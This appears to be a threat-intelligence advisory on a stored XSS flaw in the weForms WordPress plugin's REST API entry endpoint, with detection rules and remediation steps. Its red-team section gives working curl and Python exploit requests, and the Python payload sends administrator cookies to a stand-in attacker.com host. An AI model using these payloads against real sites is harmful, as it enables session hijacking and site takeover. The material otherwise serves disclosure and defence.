CVE-2026-2707
Executive Summary
CVE-2026-2707 is a Stored Cross-Site Scripting (XSS) vulnerability in the weForms plugin for WordPress, affecting all versions up to and including 1.6.27. The flaw arises from inconsistent input sanitization between the frontend AJAX handler and the REST API endpoint. When form entries are submitted via the REST API (/wp-json/weforms/v1/forms/{id}/entries/), the prepare_entry() method in class-abstract-fields.php receives the WP_REST_Request object as $args, bypassing the weforms_clean() sanitization that is applied to $_POST data for frontend submissions. The base field handler only applies trim() to the value, allowing authenticated attackers with Subscriber-level access or higher to inject arbitrary web scripts into hidden field values. These scripts execute when an administrator views the form entries page, where data is rendered using a Vue.js v-html directive without escaping.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The weForms plugin is distributed via the official WordPress Plugin Directory and is also available for direct download from the vendor's site. Since the patch status is unknown, users should consider this a supply chain risk. Organizations using weForms should immediately assess their exposure and apply any available updates or mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber-level)
- User Interaction: Required (Admin views entries)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authenticated access and user interaction, but the impact is significant as it can lead to session hijacking, data theft, or further compromise of the WordPress admin interface.
Deep Dive & Mechanics
The vulnerability is rooted in the weForms plugin's handling of form submissions. The plugin provides two submission paths:
- Frontend AJAX Handler: Uses
weforms_clean()to sanitize$_POSTdata, which strips malicious content. - REST API Endpoint: The
prepare_entry()method inclass-abstract-fields.phpreceives theWP_REST_Requestobject as$args. This object contains the raw input, bypassing theweforms_clean()sanitization. The base field handler only appliestrim()to the value, leaving it unsanitized.
When an administrator views the form entries page, the plugin uses Vue.js v-html directive to render the data without escaping. This allows the injected script to execute in the admin's browser context.
Key Files:
class-abstract-fields.php– Contains theprepare_entry()method.- REST API endpoint:
/wp-json/weforms/v1/forms/{id}/entries/
Attack Flow:
- Attacker authenticates with Subscriber-level access.
- Attacker sends a POST request to
/wp-json/weforms/v1/forms/{id}/entries/with a hidden field containing malicious JavaScript. - The plugin stores the entry without proper sanitization.
- Admin visits the form entries page, triggering the XSS payload.
Vulnerable vs. Patched Code
Vulnerable Code (class-abstract-fields.php):
public function prepare_entry( $field, $post_data = array(), $args = array() ) {
// $args is WP_REST_Request object when called from REST API
$value = isset( $args['weforms_input'][ $field['name'] ] ) ? $args['weforms_input'][ $field['name'] ] : '';
// Only trim() is applied
$value = trim( $value );
// No further sanitization
return $value;
}
Patched Code (Hypothetical):
public function prepare_entry( $field, $post_data = array(), $args = array() ) {
$value = isset( $args['weforms_input'][ $field['name'] ] ) ? $args['weforms_input'][ $field['name'] ] : '';
// Apply weforms_clean() for consistent sanitization
$value = weforms_clean( $value );
$value = trim( $value );
return $value;
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with weForms plugin <= 1.6.27
- Attacker account with Subscriber-level access
- A form with a hidden field (e.g.,
hidden_field)
Exploit Steps:
- Identify a form ID (e.g.,
1) and its hidden field name. - Send a POST request to the REST API endpoint with the malicious payload.
Example Exploit (cURL):
curl -X POST https://target.com/wp-json/weforms/v1/forms/1/entries/ \
-H "Content-Type: application/json" \
-H "Cookie: wordpress_logged_in_<hash>=<session>" \
-d '{
"weforms_input": {
"hidden_field": "<script>alert(document.cookie)</script>"
}
}'
Alternative using Python:
import requests
url = "https://target.com/wp-json/weforms/v1/forms/1/entries/"
cookies = {"wordpress_logged_in_<hash>": "<session>"}
payload = {
"weforms_input": {
"hidden_field": "<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>"
}
}
response = requests.post(url, json=payload, cookies=cookies)
print(response.status_code)
Blue Team
Detection:
- Monitor REST API requests to
/wp-json/weforms/v1/forms/*/entries/for suspicious payloads. - Look for
weforms_inputparameters containing HTML/JavaScript. - Review form entries for unexpected script tags.
Hunting:
- Search WordPress database for entries containing
<script>tags in hidden fields. - Check web server logs for POST requests to the weForms REST API endpoint.
Indicators of Compromise (IOCs)
Network:
- POST requests to
/wp-json/weforms/v1/forms/*/entries/withweforms_inputcontaining script tags. - Outbound connections to attacker-controlled domains from admin browsers.
- POST requests to
Host:
- Form entries in
wp_weforms_entriestable containing<script>tags. - Modified JavaScript files in
/wp-content/plugins/weforms/(if attacker uploads malicious code).
- Form entries in
File:
- Suspicious entries in
class-abstract-fields.php(if attacker modifies plugin code).
- Suspicious entries in
Detection Engineering
YARA Rule
rule weforms_stored_xss_cve_2026_2707 {
meta:
description = "Detects stored XSS payloads in weForms plugin entries"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-2707"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /on\w+\s*=\s*["'][^"']*["']/is
$payload3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS via weForms REST API
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to weForms REST API with potential XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /wp-json/weforms/v1/forms/*/entries/
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate form submissions with HTML content (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-2707 weForms Stored XSS via REST API"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/weforms/v1/forms/"; http_uri; content:"/entries/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the weForms plugin until a patch is available.
- Restrict REST API access to authenticated users only (already required, but ensure no unauthorized access).
- Implement a Web Application Firewall (WAF) rule to block POST requests to
/wp-json/weforms/v1/forms/*/entries/containing script tags.
Long-term Fix:
- Apply the vendor patch when released.
- Modify
class-abstract-fields.phpto applyweforms_clean()to REST API submissions. - Update Vue.js rendering to use
v-textinstead ofv-htmlfor user-supplied data.
Workaround:
- Use a security plugin like Wordfence to block malicious payloads.
- Manually sanitize form entries in the database using a script.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert